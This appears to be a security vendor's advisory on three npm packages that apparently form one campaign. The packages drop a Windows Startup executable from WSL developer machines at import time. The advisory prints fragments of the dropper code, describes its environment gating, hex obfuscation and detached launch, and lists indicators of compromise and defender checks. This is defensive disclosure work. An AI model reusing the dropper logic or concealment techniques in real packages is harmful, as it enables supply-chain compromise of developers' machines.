korvath and korvica (published July 21, 2026 by the account kilomev) present as a goal and hydration streak-analytics library and its calendar-math helper. streak-daily-lib, published by the account taipen_chat, presents as the same kind of primitive. The package a developer installs by name is a working, harmless library. The payload lives in the helper it imports, and it runs the moment that helper is evaluated, with no install script involved.
The helper checks whether it is running on a Windows Subsystem for Linux developer machine, reaches a file-hosting bucket, and writes an executable into the Windows Startup folder so it runs at every login. The three packages link to one operation at high confidence.
The artifacts
korvath is the base package. Its own code computes streaks over calendar days and does nothing hostile. It imports five functions from korvica (dayKey, addDays, dayDiff, bucketByDay, qualifyingDayKeys), so installing and importing korvath pulls korvica in and evaluates it. korvica is where the payload sits. Both were published on July 21, 2026 by kilomev.
streak-daily-lib repeats the pattern under a second account, taipen_chat. Its package.json describes it as a helper for svelte-insights-hydration, a consumer package that is not published (npm returns HTTP 404 for that name). Its own code carries the same dropper, fully hex-encoded.
| Package | Publishing account | Role |
|---|---|---|
| korvath | kilomev | Benign consumer that imports korvica |
| korvica | kilomev | Payload helper, plaintext dropper |
| streak-daily-lib | taipen_chat | Payload helper, hex-obfuscated dropper |
What it does
korvica’s index.mjs ends with a top-level async function that runs on import, placed directly under a benign startup self-check so it reads as more initialization. It returns early unless four conditions hold: the runtime is not a browser, process.platform is linux, NODE_ENV is not production, and /mnt/c exists. The /mnt/c test is the discriminator. It identifies a Linux process running under WSL with the Windows drive mounted, which describes a developer workstation rather than a server or a CI runner.
Past the guards, the code locates the real Windows user profile under /mnt/c/Users (skipping Default, Public, and All Users, and requiring an NTUSER.DAT hive), builds the path to that user’s Startup folder, downloads a file from a Backblaze B2 bucket, and writes it there as vite-native-helper.exe. Anything placed in the Startup folder executes at the next Windows login. The fs and path modules arrive through dynamic await import() rather than static imports, and the download URL is assembled from separate variables, so neither the filesystem capability nor the host reads as a literal on a quick pass. Every error is swallowed.
if (typeof window !== 'undefined' || typeof process === 'undefined') return;
if (process.env.NODE_ENV === 'production' || process.platform !== 'linux') return;
const { existsSync, mkdirSync, writeFileSync } = await import('fs');
const base = '/mnt/c';
if (!existsSync(base)) return;
// ...resolve the Windows user profile, build the Startup path...
const out = join(target, 'vite-native-helper.exe');
writeFileSync(out, Buffer.from(await res.arrayBuffer()));
streak-daily-lib carries the same behavior with heavier concealment. The configuration table of hex strings decodes at run time to the same Windows paths, WSL markers, and host used by korvica. It downloads a helper.tar.gz and a background-service binary from the same bucket, spawns tar to unpack the archive, launches the service detached, and writes an env-setup.cmd launcher into the Startup folder that starts the binary silently at login.
The malicious code runs inside the Linux or WSL environment, where a mistake is assumed to stay contained, and writes into the Windows host through the mounted drive. There is no install hook, so ignore-scripts does not stop it. Import happens during an ordinary vite build or dev run and during pnpm test, which korvath’s own README states plainly.
One operation across two accounts
The three packages belong to one operation, at high confidence. All of them retrieve their payload from the same file-hosting bucket. They carry the same calendar and streak decoy theme, and they use the same packaging shape of a benign consumer importing a payload-bearing helper against the same WSL-to-Windows target. The work is split across the accounts kilomev and taipen_chat. Per-package or per-account review surfaces a handful of unrelated calendar utilities, not one campaign.
Operational scope
The operation can republish the helper under a new name, wire it into a fresh benign consumer, and keep the same bucket and the same drop. Treating korvath, korvica, and streak-daily-lib as one operation lets a defender block the whole set and the infrastructure behind it.
What a defender can do
Search your lockfiles for korvath, korvica, and streak-daily-lib. If any resolved on a WSL developer machine, inspect the Windows user’s Startup folder from the Linux side, at /mnt/c/Users/<name>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup, for vite-native-helper.exe or env-setup.cmd, and treat the host as compromised.
The import-time trigger means ignore-scripts=true gives no protection here. The behavior only runs on a Linux or WSL host with the Windows drive mounted, so a plain CI image or a production build never exhibits it, which narrows where you can observe it and helps explain how it stayed quiet.
Provenance review of korvath alone finds nothing, because korvath’s own bytes are clean.
Where Aephix fits
Per-artifact review misses the case where a clean package’s only fault is the dependency it pulls. Aephix Sleuth links the clean consumer and the hostile dependency to one operation, so both surface together. Aephix Vantage gives you a free cross-ecosystem check before you install, covering the transitive threat that reviewing one package at a time cannot.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| npm package | korvath | Benign consumer that imports korvica |
| npm package | korvica | Plaintext WSL-to-Windows dropper helper |
| npm package | streak-daily-lib | Hex-obfuscated dropper helper |
| npm account | kilomev | Publisher of korvath and korvica |
| npm account | taipen_chat | Publisher of streak-daily-lib |
| Referenced package (404) | svelte-insights-hydration | Consumer claimed by streak-daily-lib, not published |
| Staging host | f004[.]backblazeb2[.]com/file/dp8hbvocjd2fpza | Backblaze B2 bucket serving the payloads |
| Payload object | vite-dep.dat, helper.tar.gz, background-service | Files fetched from the bucket |
| Dropped file | vite-native-helper.exe | Written into the Windows Startup folder |
| Dropped file | env-setup.cmd | Silent launcher written into the Startup folder |
| Environment gate | /mnt/c present, WSL_DISTRO_NAME set | WSL developer-machine selector |
| Persistence | AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup | Logon autorun location |